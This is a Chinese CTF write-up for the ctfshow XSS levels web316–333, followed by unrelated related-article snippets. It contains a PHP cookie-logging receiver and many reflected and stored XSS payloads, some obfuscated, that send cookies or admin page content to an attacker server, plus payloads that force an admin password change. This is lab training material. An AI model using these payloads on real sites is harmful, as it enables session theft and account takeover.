Ctfshow web入门 XSS篇 web316-web333 详细题解 全

CTFshow XSS web316

是反射型 XSS

image-20230926195248086

法一：

利用现成平台

image-20230926195306022

image-20230926195314518

法二：

自己搭服务器

先在服务器上面放一个接受Cookie的文件。

image-20230926195330259

文件内容：

<?php$cookie = $_GET['cookie'];$time = date('Y-m-d h:i:s', time());$log = fopen("cookie.txt", "a");fwrite($log,$time.':    '. $cookie . "\n");fclose($log);
?>

payload：

<script>location.href="http://47.98.193.145(自己服务器的公网ip)/1111(我多建了一个文件夹)/127.php(存放上述php代码的文件)?cookie="+document.cookie</script>

image-20230926195430781

已经获取到Cookie了

image-20230926195436757

image-20230926195448397

之后的题都用服务器不用XSS平台了。

管理服务器我用的是xshell和xftp。

CTFshow XSS web317

和上一题一样的情景。

image-20230926195536601

测试一下过滤了script了。

image-20230926195612550

标签可以用 img

Payload：

<img src="" οnerrοr=location.href="http://47.98.193.145/1111/127.php?cookie="+document.cookie>

image-20230926195636359

CTFshow XSS web318

先进行一下测试，看看过滤了什么。

无回显

image-20230926195932808

无回显

image-20230926195938486

<body>alert(1)</body>有回显，可以用<body>头

image-20230926200108201

payload:

<body οnlοad=location.href="http://47.98.193.145/1111/127.php?cookie="+document.cookie>

image-20230926200117156

这些payload也行：

<body onload="document.location.href='http://47.98.193.145/1111/127.php?1='+document.cookie"></body><body onload="document.location.href='http://47.98.193.145/1111/127.php?1='+document.cookie"><iframe οnlοad=document.location='http://47.98.193.145:1470/?cookie='+document.cookie>

image-20230926200256695

CTFshow XSS web319

同web318

CTFshow XSS web320

以这种方式排查过滤，试出他过滤了script，img，空格。

image-20230926200647075

空格可以用%09、tab、/、/**/代替。

Payload：

<body/**/οnlοad=location.href="http://47.98.193.145/1111/127.php?cookie="+document.cookie>

扩展一下payload：

String.fromCharCode()函数：ascii码转字符

参考：https://www.runoob.com/jsref/jsref-fromcharcode.html

String.fromCharCode(111,110,108,111,97,100); 控制台运行结果如下：

image-20230926205631362

用它我可以构造一个payload：

<body/**/οnlοad=document.write(String.fromCharCode(60,115,99,114,105,112,116,62,100,111,99,117,109,101,110,116,46,108,111,99,97,116,105,111,110,46,104,114,101,102,61,39,104,116,116,112,58,47,47,49,50,48,46,52,54,46,52,49,46,49,55,51,47,74,97,121,49,55,47,49,50,55,46,112,104,112,63,99,111,111,107,105,101,61,39,43,100,111,99,117,109,101,110,116,46,99,111,111,107,105,101,60,47,115,99,114,105,112,116,62));>

String.fromCharCode(***)就是<script>document.location.href='http://120.46.41.173/Jay17/127.php?cookie='+document.cookie</script>

字符串转ascii码脚本：

input_str = input("请输入字符串: ")  # 获取用户输入的字符串
ascii_list = []# 遍历字符串，将每个字符转换为ASCII码，并添加到列表中
for char in input_str:ascii_code = ord(char)  # 使用ord()函数获取字符的ASCII码ascii_list.append(str(ascii_code))  # 将ASCII码转换为字符串并添加到列表# 将列表中的ASCII码用逗号隔开，并打印结果
result = ','.join(ascii_list)
print("转换后的ASCII码:", result)

ascii码转字符串脚本：

def ascii_to_string(ascii_str):# 将以逗号分隔的ASCII码字符串分割成一个列表ascii_list = ascii_str.split(',')# 使用列表推导式将ASCII码转换为字符，并连接成一个字符串result = ''.join(chr(int(code)) for code in ascii_list)return result# 输入以逗号分隔的ASCII码字符串
ascii_str = input("请输入以逗号分隔的ASCII码字符串: ")# 调用函数进行转换并打印结果
string_result = ascii_to_string(ascii_str)
print("转换后的字符串:", string_result)

image-20230926212742649

后来想了想，刷这个是以入门为目的，这种千奇百怪的payload就先不用了，我会放在文章最后，感兴趣的师傅们看看哦。

CTFshow XSS web321

同web320

CTFshow XSS web322

过滤了script，img,iframe,xss,空格，分号，逗号。

网上wp说过滤了点号. 个人尝试过貌似没有。

payload:

<iframe/**/οnlοad=location.href="http://47.98.193.145/1111/127.php?cookie="+document.cookie></iframe><svg/**/οnlοad=location.href="http://47.98.193.145/1111/127.php?cookie="+document.cookie><body/οnlοad=location.href="http://47.98.193.145/1111/127.php?cookie="+document.cookie><input/**/οnfοcus=location.href="http://47.98.193.145/1111/127.php?cookie="+document.cookie>

image-20230926213817142

CTFshow XSS web323

同web322

CTFshow XSS web324

同web322

CTFshow XSS web325

同web322

CTFshow XSS web326

同web322

反射型到这一题应该就截止了，现在讲讲千奇百怪的payload。

反射型绕过过滤好文：xss 常用标签及绕过姿势总结 - FreeBuf网络安全行业门户

一、

<iframe	WIDTH=0	HEIGHT=0	srcdoc=。。。。。。。。。。&#60;&#115;&#67;&#82;&#105;&#80;&#116;&#32;&#115;&#82;&#67;&#61;&#34;&#104;&#116;&#116;&#112;&#115;&#58;&#47;&#47;&#120;&#115;&#46;&#115;&#98;&#47;&#49;&#66;&#113;&#117;&#34;&#62;&#60;&#47;&#115;&#67;&#114;&#73;&#112;&#84;&#62;>

原文描述是10进制转实体。

这个&#60其实是十进制的html 实体编码。字符串转十进制的html 实体编码脚本如下：

def string_to_html_entities(input_str):html_entities = [f'&#{ord(char)};' for char in input_str]result = ''.join(html_entities)return resultinput_str = input("请输入字符串: ")
html_entities_result = string_to_html_entities(input_str)
print("HTML实体编码:", html_entities_result)

<iframe后面的WIDTH=0 HEIGHT=0其实是设置宽、高等属性，没有也没事。

二、

<iframe/srcdoc=。。。。。。。。。。&#60;&#115;&#67;&#82;&#105;&#80;&#116;&#32;&#115;&#82;&#67;&#61;&#34;&#104;&#116;&#116;&#112;&#115;&#58;&#47;&#47;&#120;&#115;&#115;&#46;&#112;&#116;&#47;&#99;&#76;&#103;&#70;&#34;&#62;&#60;&#47;&#115;&#67;&#114;&#73;&#112;&#84;&#62;>

同一，只不过换种写法。

三、

<input οnfοcus=eval(atob(this.id)) id=dmFyIGE9ZG9jdW1lbnQuY3JlYXRlRWxlbWVudCgic2NyaXB0Iik7YS5zcmM9Imh0dHBzOi8veHNzOC5jYy8ySEpJIjtkb2N1bWVudC5ib2R5LmFwcGVuZENoaWxkKGEpOw== autofocus>

这里就是base64编码绕过过滤。

atob 函数：atob() 方法用于解码使用 base-64 编码的字符串。

语法：window.atob(【base64编码的数据】)

除了像这种payload这样用，还能像如下这些payload这样使用：

<a href=javascript:eval(atob('SmF5MTc='))>test</a>
<a href=javascript:eval(window.atob('SmF5MTc='))>test</a>
<a href=javascript:eval(window['atob']('SmF5MTc='))>test</a>
<img src=x onmouseover="eval(window.atob('SmF5MTc='))">
<img src=x onerror="eval(atob('SmF5MTc='))">
<iframe src="javascript:eval(window['atob']('SmF5MTc='))"></iframe>

但是奇怪的是，url改成自己的vps，打了一下316没打出来。

四、

<body/οnlοad=eval("\x64\x6f\x63\x75\x6d\x65\x6e\x74\x2e\x77\x72\x69\x74\x65\x28\x53\x74\x72\x69\x6e\x67\x2e\x66\x72\x6f\x6d\x43\x68\x61\x72\x43\x6f\x64\x65\x28\x36\x30\x2c\x31\x31\x35\x2c\x36\x37\x2c\x31\x31\x34\x2c\x37\x33\x2c\x31\x31\x32\x2c\x31\x31\x36\x2c\x33\x32\x2c\x31\x31\x35\x2c\x31\x31\x34\x2c\x36\x37\x2c\x36\x31\x2c\x34\x37\x2c\x34\x37\x2c\x31\x32\x30\x2c\x31\x31\x35\x2c\x34\x36\x2c\x31\x31\x35\x2c\x39\x38\x2c\x34\x37\x2c\x38\x39\x2c\x38\x34\x2c\x38\x35\x2c\x31\x30\x34\x2c\x36\x32\x2c\x36\x30\x2c\x34\x37\x2c\x31\x31\x35\x2c\x36\x37\x2c\x38\x32\x2c\x31\x30\x35\x2c\x31\x31\x32\x2c\x38\x34\x2c\x36\x32\x29\x29\x3b")>

混合编码。加密顺序为：ascii编码加密、十六进制

image-20230927224155095

image-20230927224736193

十六进制加解密：字符16进制加密/解密 - 一个工具箱 - 好用的在线工具都在这里！ (atoolbox.net)

五、

<body/οnlοad=eval("\u0064\u006F\u0063\u0075\u006D\u0065\u006E\u0074\u002E\u0077\u0072\u0069\u0074\u0065\u0028\u0053\u0074\u0072\u0069\u006E\u0067\u002E\u0066\u0072\u006F\u006D\u0043\u0068\u0061\u0072\u0043\u006F\u0064\u0065\u0028\u0036\u0030\u002C\u0031\u0031\u0035\u002C\u0036\u0037\u002C\u0038\u0032\u002C\u0031\u0030\u0035\u002C\u0038\u0030\u002C\u0031\u0031\u0036\u002C\u0033\u0032\u002C\u0031\u0031\u0035\u002C\u0038\u0032\u002C\u0036\u0037\u002C\u0036\u0031\u002C\u0034\u0037\u002C\u0034\u0037\u002C\u0031\u0032\u0030\u002C\u0031\u0031\u0035\u002C\u0034\u0036\u002C\u0031\u0031\u0035\u002C\u0039\u0038\u002C\u0034\u0037\u002C\u0034\u0039\u002C\u0036\u0036\u002C\u0031\u0031\u0033\u002C\u0031\u0031\u0037\u002C\u0036\u0032\u002C\u0036\u0030\u002C\u0034\u0037\u002C\u0031\u0031\u0035\u002C\u0036\u0037\u002C\u0031\u0031\u0034\u002C\u0037\u0033\u002C\u0031\u0031\u0032\u002C\u0038\u0034\u002C\u0036\u0032\u0029\u0029\u003B")>

也是混合加密，加密顺序是：ascii编码加密、unicode加密。

最后放一下我搜集的各种头和绕过手段。

image-20230927225101689

image-20230927225113259

CTFshow XSS web327

这题开始是存储型XSS了。首先就是poster必须是admin才能发送成功，其次就是XSS的触发点应该是sender和content都可以。这题没有任何过滤。

payload：（其实这题没有过滤，懒一点直接复制之前的了）

<script> onload=location.href="http://47.98.193.145/1111/127.php?cookie="+document.cookie</script>

image-20230926214257221

image-20230926214307072

CTFshow XSS web328

注册时候用户名密码都用payload（头这里没用了，可能被过滤了）

打paylaod前vps监听9023端口。

payload：

<script>window.open('http://120.46.41.173:9023/'+document.cookie)</script>

image-20230926214729514

这些应该是管理员的cookie。抓包伪造一下cookie试试

image-20230926214736135

然后放包，一个一个放，速度要慢。放一个包改一次cookie。

image-20230926214746935

或者也可以直接修改储存，然后burp开启拦截，一个一个放包（这种方法就不用修改东西了，储存都改了，一个一个放包要不然flag一闪而过。）

image-20230926214801352

image-20230926214848364

别人的wp：
TIP：关于异步(加深了解可写项目或看项目)，页面框架获取和数据拉取填充是异步进行的，不在同一个数据包中，如果通过BURP完成此题，请注意数据包是否为获取指定数据。另外一种思路：
将页面指定部分直接发送到XSS平台
经分析，flag大概率在document.body.innerText，且数据量不大

yu师傅的超强模块也是个好办法：

image-20230926223432415

CTFshow XSS web329

还是仅管理员可见。

image-20230926224850950

和上题不同的是，Cookie会立刻失效。不能通过窃取Cookie的形式得到flag了。

我们分析一下原理，我们的payload作为储存型XSS，管理员访问时候能被我们窃取Cookie，那是不是还能窃取点别的东西呢，比如说管理员看到的用户名和密码。理论上来说是可以的，所以就直接获取管理员的页面信息。

问题是如何带出数据？

方法一：我们可以通过类名查找元素，通过document来获取。

现在vps上面监听端口9023。

innerHTML和outerHTML的区别

1、innerHTML:
　　从对象的起始位置到终止位置的全部内容,不包括Html标签。
innerText可替代innerHTML

2、outerHTML:
　　除了包含innerHTML的全部内容外, 还包含对象标签本身。

可以看到前端代码中将要显示admin密码的地方类为layui-table-cell laytable-cell-1-0-1

image-20230926230205978

payload： （作为账号密码注册后登录）

<script>window.open('http://120.46.41.173:9023/'+document.getElementsByClassName('layui-table-cell laytable-cell-1-0-1')[1].innerHTML)</script>

解释一下它的每一部分：

  1. window.open('http://120.46.41.173:9023/' + document.getElementsByClassName('layui-table-cell laytable-cell-1-0-1')[1].innerHTML) 这是一个调用 window.open() 函数的语句，用于打开新的浏览器窗口。
  2. 'http://120.46.41.173:9023/' 这是一个字符串，表示要打开的网页的 URL。它包括了协议（http://）、主机名（120.46.41.173）和端口号（9023），以及路径（后面的斜杠 /）。
  3. document.getElementsByClassName('layui-table-cell laytable-cell-1-0-1')[1].innerHTML 这是一系列 DOM 操作，用于获取网页中特定元素的内容。
    • document.getElementsByClassName('layui-table-cell laytable-cell-1-0-1') 是一个通过类名查找元素的方法。它查找具有类名 'layui-table-cell' 和 'laytable-cell-1-0-1' 的元素，通常这是一种针对表格单元格的选择。
    • [1] 表示从匹配的元素列表中选择第二个元素（JavaScript 中的数组索引从 0 开始）。
    • .innerHTML 用于获取选定元素的 HTML 内容，也就是在这个表格单元格中显示的文本或 HTML。

image-20230926230454830

方法二：jQuery 选择器查找类和获取内容。

上一个方法已知我们要获取的数据对应的类名字是layui-table-cell laytable-cell-1-0-1。（中间有空格表示这里有两个类，对应表格里面【用户名 密码】）

这里我们可以只读一个，也可以都读。都读的话.layui-table-cell.laytable-cell-1-0-1，只读一个的话.laytable-cell-1-0-1。

JS中indexOf() 方法返回值在字符串中第一次出现的位置。如果未找到该值，则 indexOf() 方法返回 -1。indexOf() 方法区分大小写。

先在控制台自己测试一下： （能成功获取类和内容就可以了）

$('.laytable-cell-1-0-1').each(function(index,value){console.log(value);
});

image-20230927232027063

vps监听9023端口。

payload： （作为账号密码注册后登录）

<script>$('div.layui-table-cell.laytable-cell-1-0-1').each(function(index,value){if(value.innerHTML.indexOf('ctfshow{')>-1){window.location.href='http://120.46.41.173:9023/'+value.innerHTML;}});</script>

解释一下它的每一部分：

  1. $('div.layui-table-cell.laytable-cell-1-0-1').each(function(index, value) { ... });
    这是一个 jQuery 选择器，它查找具有类名 'layui-table-cell'、'laytable-cell-1-0-1' 的 <div> 元素集合，并对每个元素执行一个函数。

  2. .each(function(index, value) { ... })
    这是 jQuery 的遍历方法，它会遍历匹配的元素集合，并对每个元素执行包含在函数中的操作。在这里，函数接受两个参数，index 表示当前元素在集合中的索引，value 表示当前元素的引用。

  3. if (value.innerHTML.indexOf('ctfshow{') > -1) { ... }
    这是在遍历中的条件语句，它检查当前元素的内容是否包含字符串 'ctfshow{'。value.innerHTML 表示当前元素的 HTML 内容，.indexOf('ctfshow{') 用于查找是否包含 'ctfshow{'，如果包含则返回大于 -1 的索引，否则返回 -1。

  4. window.location.href = 'http://120.46.41.173:9023/' + value.innerHTML;
    如果条件满足，即当前元素的内容包含 'ctfshow{'，则执行这一行代码。它会将浏览器的当前位置重定向到一个新的 URL，这个 URL 是 'http://120.46.41.173:9023/' 加上当前元素的内容。这样就可以在浏览器中打开一个新的页面，新页面的 URL 包含了 'ctfshow{' 以及其他内容。

做时小疑惑：我带出来的内容不是flag而是我的payload？？？

感觉是编码出了问题，看图，虽然是我的paylaod，但是加号却变成空格了，把加号转义、URL编码什么的都没用，带出来的还是我的payload。非常的异或呢。

image-20230927230048816

分析一波，我猜测他确实把第一个用户的密码给我了，但是呢，第一个用户是我刚刚注册的那个，就是我的paylaod，而且呢，我的payload也包含了ctfshow{。

验证猜测，我注册一个号，账号密码都是ctfshow{i am Jay17}，果不其然，监听到的内容就变成了ctfshow{i am Jay17}。

image-20230927233615379

所以，这题特殊情况，我们需要改改paylaoad： （包含ctfshow{ 但是不包含script）

<script>$('div.layui-table-cell.laytable-cell-1-0-1').each(function (index, value) {if ((value.innerHTML.indexOf('ctfshow{') > -1)&&(value.innerHTML.indexOf('script') === -1)) {window.location.href = 'http://120.46.41.173:9023/' +value.innerHTML;}});</script>

如愿以偿得到flag。CTF甚至网安就是这样，需要不断地探索和分析。

image-20230927234315669

方法三：querySelector方法获取内容

querySelector 是 JavaScript 中用于从文档中选择一个或多个元素的方法。这个方法允许您通过指定 CSS 选择器来查找并返回文档中匹配该选择器的第一个元素（如果有多个匹配项，则只返回第一个匹配项）。

以下是 querySelector 方法的解释：

  1. 基本语法：

    var element = document.querySelector(selector);
    • selector 是一个字符串，表示要查找的元素的 CSS 选择器。

  2. 示例：

    // 通过ID选择元素
var elementById = document.querySelector('#myId');
// 通过类名选择元素
var elementsByClass = document.querySelector('.myClass');
// 通过标签名选择元素
var elementsByTagName = document.querySelector('div');
// 使用复杂的选择器，本题就是这种
var complexSelector = document.querySelector('div.container > p:first-child');

image-20230928041514708

payload： 其实\#top > div.layui-container能把所有源码都读了，最方便

<script>var img = new Image();img.src = "http://120.46.41.173:9023/"+document.querySelector('#top > div.layui-container > div:nth-child(4) > div > div.layui-table-box > div.layui-table-body.layui-table-main').textContent;document.body.append(img);</script>

解释一下它的每一部分：

  1. var img = new Image();
    这行代码创建了一个新的图像元素对象，并将其分配给变量 img。这个对象用于在页面上加载图像。

  2. img.src = "http://120.46.41.173:9023/" + document.querySelector('#top > div.layui-container > div:nth-child(4) > div > div.layui-table-box > div.layui-table-body.layui-table-main').textContent;
    这行代码设置了图像的 src 属性，即要加载的图像的 URL。URL 是通过拼接多个部分构建的：

    • "http://120.46.41.173:9023/" 是图像的基本 URL。
    • document.querySelector(...) 是一个 DOM 查询操作，用于获取页面上特定元素的内容。在这里，它获取了一个具有复杂选择器的元素，该元素位于页面的某个位置。它的目的是获取这个元素的文本内容。
    • textContent 是获取 DOM 元素文本内容的属性。

    综合起来，这行代码的目的是获取特定 DOM 元素的文本内容，然后将其添加到图像 URL 的末尾，以便通过 URL 传递给服务器。

  3. document.body.append(img);
    最后一行代码将创建的图像元素 img 添加到页面的 <body> 元素中，这样图像将被加载并显示在页面上。

image-20230928041543223

大佬的补充：

// 定义sleep函数，转跳，睡眠，接口通信，然而由于机器人不用浏览器未实现，如果是真人则可行
<script>function sleep(numberMillis) {var now = new Date();var exitTime=now.getTime() + numberMillis;while (true) {now = new Date();if (now.getTime() > exitTime)return;}};window.location.href="manager.php";sleep(1000);$('.layui-table-cell.laytable-cell-1-0-1').each(function(index,value){if(value.innerHTML.indexOf('{')>-1){document.location.href='http://xxxxxxxxxxxxxxxxxxxxxxxx/x.php?1='+value.innerHTML;}});</script>

CTFshow XSS web330

这题可以修改密码。那做法就是XSS修改管理员密码了，当然像上题那样直接读取源码也可以。

先自己注册一个号，修改密码看看包。

image-20230928044331613

可以看见，调用了一个api/api/change.php?p=123。参数p就是我们修改后的密码。Cookie用于验证身份。

我们想修改管理员的密码，一开始肯定会想到先拿管理员Cookie再伪造包。但是管理员Cookie实时变化呀。我们何尝不使管理员"主动"修改密码呢，当然，是在XSS的作用下"主动"修改密码。

payload： （还是老样子，作为账号密码，注册登录）

<script>window.location.href='http://127.0.0.1/api/change.php?p=1717';</script>

之后登录账号admin，密码1717

image-20230928044737496

这时候会出现一种情况，我们在管理员账号上一点击用户管理，立马跳转到api，来不及复制flag。这是因为我们的XSSpayload是一个用户账号，管理员每次访问用户管理都会解析它。

解决办法：立刻Ctrl+u查看源码或者抓包。

image-20230928045022882

CTFshow XSS web331

和上题类似，我们先抓包分析。这次修改密码变成了POST请求。

image-20230928050112499

大体不变，payload改改就可以。

<script>$.ajax({url:"api/change.php",method:"POST",data:{'p':'1717'}})</script>

image-20230928050232147

CTFshow XSS web332

题目描述：XSS在哪里？

这次多了好多功能，flag价格是9999。

image-20230928050350165

成功注册登录后，初始金额是5。

image-20230928050511890

XSS的话，我们肯定会想到让admin给我们汇款哈哈哈哈。也可以自己给别人汇款值为负数或者自己给自己汇款。

image-20230928051104330

我们不管非预期，按XSS来做。先抓个包看看。

image-20230928051207590

还是api，/api/amount.php。参数都是POST传递的，账号是u，款是a。

payload：

<script src=http://120.46.41.173/Jay17/test.js></script>

test.js:

$.ajax({url: "http://127.0.0.1/api/amount.php",method: "POST",data: {'u': 'jay', 'a': 99999},cache: false,success: function (res) {}
})

不知道为什么XSS出不来了，能找到的payload都试了一遍，X不出来。而且两题转账抓包都是POST提交的。。。网上说一个GET一个POST。

算了，直接给admin转负数吧，反正就是这个原理。

CTFshow XSS web333

同web332。ban了负数转账，写脚本自己转自己吧。

import requests
url = "http://c7e62c4c-a965-48a5-9c7a-390114141304.challenge.ctf.show/api/amount.php"
headers ={'Cookie':'PHPSESSID=gcvvvfpmp9c8dnfrd34b2ts93r'} #自己账号登陆后的sessionidfor i in range(0,10000):tmp=i*4data = {'u': 'jay','a': str(tmp)}res=requests.post(url,data=data,headers=headers)

本文来自互联网用户投稿，该文观点仅代表作者本人，不代表本站立场。本站仅提供信息存储空间服务，不拥有所有权，不承担相关法律责任。如若转载，请注明出处：http://www.xdnf.cn/news/144032.html

如若内容造成侵权/违法违规/事实不符，请联系一条长河网进行投诉反馈，一经查实，立即删除！

相关文章

Python计算机二级中常考函数

Python计算机二级中常考函数

1.fi.read()→返回的是一个包含整个文件内容的字符串。 2.txt.split("。")→对字符串txt进行以 "。"作为分隔符的分割操作&#xff0c;并得到一个列表。 3.fo.write()函数→向文件写入数据的方法。 4." 。\n".join(ls)→将一个包含多个字符串…
阅读更多...
数字人直播系统开发哪家好？

数字人直播系统开发哪家好？

随着互联网技术的不断发展&#xff0c;直播行业已经成为了一个炙手可热的领域。数字人直播系统作为直播行业的一种新型应用&#xff0c;通过虚拟形象与真人克隆的结合&#xff0c;为用户提供了一种全新的互动体验。那么&#xff0c;在众多开发公司中&#xff0c;哪家公司的数字…
阅读更多...
7、SpringBoot_高级配置

7、SpringBoot_高级配置

一、配置高级 1.临时属性设置 1.1引出问题 如果目标电脑上8080端口已经使用&#xff0c;再次使用该端口会出现端口占用问题 解决方式 重新更换配置文件修改端口打包通过临时属性配置新端口更换配置文件 1.2添加临时属性配置 通过临时属性修改8080端口 java -jar 项目.jar…
阅读更多...
为啥美国服务器和空间有那么多高防产品？

为啥美国服务器和空间有那么多高防产品？

​　　伴随着企业业务的扩展&#xff0c;很多已经走出了国门&#xff0c;开始对海外服务器有了不同的选择。另外&#xff0c;基于一些行业的特殊性&#xff0c;受网络攻击多且需要保证数据安全性&#xff0c;就有一部分人是对高防服务器租用十分的感兴趣。留心的小伙伴可以注意…
阅读更多...
计算机毕设 基于时间序列的股票预测于分析

计算机毕设 基于时间序列的股票预测于分析

文章目录 1 简介2 时间序列的由来2.1 四种模型的名称&#xff1a; 3 数据预览4 理论公式4.1 协方差4.2 相关系数4.3 scikit-learn计算相关性 5 金融数据的时序分析5.1 数据概况5.2 序列变化情况计算 最后 1 简介 Hi&#xff0c;大家好&#xff0c;这里是丹成学长&#xff0c;今…
阅读更多...
面试网络安全研究员准备工作

面试网络安全研究员准备工作

这几天一直有兄弟问我&#xff0c;想去面试一家网安公司网络安全研究员&#xff0c;需要做哪些准备工作&#xff0c;这几天闲下来总结了一下。每个企业对这个岗位的具体需求都不一样&#xff0c;但是常见的岗位职责一般有这么几点&#xff1a; 1.前瞻性网络安全技术研究&#…
阅读更多...
2014 款金旅牌小型客车 发动机怠速抖动、加速无力

2014 款金旅牌小型客车 发动机怠速抖动、加速无力

故障现象 一辆2014款金旅牌小型客车&#xff0c;搭载JM491Q-ME发动机&#xff0c;累计行驶里程约为20万km。车主反映&#xff0c;最近该车发动机怠速抖动、加速无力&#xff0c;且经常缺少冷却液。 故障诊断 根据车主描述的故障现象&#xff0c;初步判断该车气缸垫损坏&#…
阅读更多...
代码随想录Day02 数组基础2 leetcode T977有序数组的平方, T209 长度最小的子数组,T59 螺旋矩阵II

代码随想录Day02 数组基础2 leetcode T977有序数组的平方, T209 长度最小的子数组,T59 螺旋矩阵II

本文思路和详细解答来源于: 代码随想录 视频讲解见: 双指针法经典题目 | LeetCode&#xff1a;977.有序数组的平方_哔哩哔哩_bilibili Leetcode T977 有序数组的平方 题目链接: 977. 有序数组的平方 - 力扣&#xff08;LeetCode&#xff09; 思路1: 暴力求解 这里先解释一下非…
阅读更多...
与创新者同行！Doris Summit Asia 2023 完整议程公开，首届线下峰会邀你报名！

与创新者同行！Doris Summit Asia 2023 完整议程公开，首届线下峰会邀你报名！

距离 Doris Summit 2022 闭幕已近一年&#xff0c;Doris Summit Asia 2023 已经起航。 这一年里&#xff0c; Apache Doris 完成了从 1.0 到 2.0 具有里程碑意义的版本跨越。通过持续技术创新&#xff0c;实现了令人瞩目的性能飞跃。不仅如此&#xff0c;Apache Doris 不断拓展…
阅读更多...
Unity之VR如何实现跟随视角的UI

Unity之VR如何实现跟随视角的UI

前言 我们在制作VR项目的时候，大部分时候，是把UI固定到一个位置，比如桌子或者空中，这么做固然稳定，但是当我们有以下需求的时候，固定位置的UI可能会不适用： 1.场景较小，操作物体占用了很大体积，没有固定的可以清晰显示完整UI的位置。 2.需要频繁的前后左右，更换姿势…
阅读更多...
数据结构:二叉树的基本概念

数据结构:二叉树的基本概念

文章目录 1. 二叉树的定义2. 二叉树的特点3. 特殊二叉树斜树满二叉树完全二叉树 4. 二叉树的性质 1. 二叉树的定义 如果我们猜一个100以内的数字,该怎么猜才能理论最快呢? 第一种方式:从1,2一直猜到100, 反正数字都是100以内,总能猜到的 第二种方式:先猜50,如果比结果小,猜75…
阅读更多...
百度SEO优化基本原理（掌握SEO基础，提高网站排名）

百度SEO优化基本原理（掌握SEO基础，提高网站排名）

随着互联网的迅速发展&#xff0c;越来越多的企业开始意识到网站优化的重要性&#xff0c;其中百度SEO优化是企业不可忽视的一项工作。本文将介绍百度SEO优化的基本概念、步骤、原理、解决方法和提升网站标题优化的方法。蘑菇号-www.mooogu.cn 百度SEO优化是指针对百度搜索引擎…
阅读更多...
Pytest单元测试框架 —— Pytest+Allure+Jenkins的应用

Pytest单元测试框架 —— Pytest+Allure+Jenkins的应用

一、简介 pytestallurejenkins进行接口测试、生成测试报告、结合jenkins进行集成。 pytest是python的一种单元测试框架&#xff0c;与python自带的unittest测试框架类似&#xff0c;但是比unittest框架使用起来更简洁&#xff0c;效率更高 allure-pytest是python的一个第三方…
阅读更多...
RabbitMQ（15672） 消息中间件 NOTE

RabbitMQ（15672） 消息中间件 NOTE

目录 1、初识 RabbitMQ 消息队列 1.1 MQ 四大核心概念 1.2 消息的发送&#xff08;无交换机态&#xff09; 1.3 关于消息自动重新入队 1.3.1 消息的常见应答方法&#xff08;R&#xff09; 1.4 关于 RabbitMQ 的持久化、不公平分发以及预取值 2、RabbitMQ 消息的发布确认…
阅读更多...
【数据结构练习】链表面试题集锦二

【数据结构练习】链表面试题集锦二

目录 前言&#xff1a; 1.链表分割 2.相交链表 3.环形链表 4.环形链表 II 前言&#xff1a; 编程想要学的好&#xff0c;刷题少不了&#xff0c;我们不仅要多刷题&#xff0c;还要刷好题&#xff01;为此我开启了一个弯道超车必做好题锦集的系列&#xff0c;此为链表面试题第…
阅读更多...
jquery和jquery-ui拖动元素（vue2）

jquery和jquery-ui拖动元素（vue2）

彩色小方块可以任意拖动&#xff0c;红色箭头指向的区域可以拖动 CDN在index.html文件中引入 <link rel"stylesheet" href"//code.jquery.com/ui/1.12.1/themes/base/jquery-ui.css"><script src"https://code.jquery.com/jquery-3.6.0.min…
阅读更多...
浅谈电气防火保护器在地下商场的应用

浅谈电气防火保护器在地下商场的应用

摘 要&#xff1a;近年来&#xff0c;我国城市发展速度加速。很多城市大力建造地下建筑设施&#xff0c;比如地铁、地下停车场和地下商场等。地下商场属于人员密集型建筑&#xff0c;其防火设计一直令相关的专家头疼。由于人员密集&#xff0c;防火处理不好将酿成灾难性的后果。…
阅读更多...
/usr/bin/ld: cannot find -lmysqlcllient

/usr/bin/ld: cannot find -lmysqlcllient

文章目录 1. question: /usr/bin/ld: cannot find -lmysqlcllient2. solution 1. question: /usr/bin/ld: cannot find -lmysqlcllient 2. solution 在 使用编译命令 -lmysqlclient时&#xff0c;如果提示这个信息。 先确认一下 有没有安装mysql-devel 执行如下命令 yum inst…
阅读更多...
【SpringBoot项目】SpringBoot+MyBatis+MySQL电脑商城

【SpringBoot项目】SpringBoot+MyBatis+MySQL电脑商城

在b站听了袁老师的开发课&#xff0c;做了一点笔记。 01-项目环境搭建_哔哩哔哩_bilibili 基于springboot框架的电脑商城项目&#xff08;一&#xff09;_springboot商城项目_失重外太空.的博客-CSDN博客 项目环境搭建 1.项目分析 1.项目功能&#xff1a;登录、注册、热销…
阅读更多...
视频监控平台客户端开发记录

视频监控平台客户端开发记录

效果图 所用到的核心技术 QT信号槽机制；布局器；QStylesheet；QStackedWidget；QTreeView；QTableView；QNetworkAccessManager；Tr()；QT信号槽机制 信号槽机制是QT的精华，主要解决UI界面中事件与事件响应的关联关系。QT将界面的操作（如点击按钮、拖动窗口等）定义为信号，…
阅读更多...
最新文章

Copyright @ 2022~2023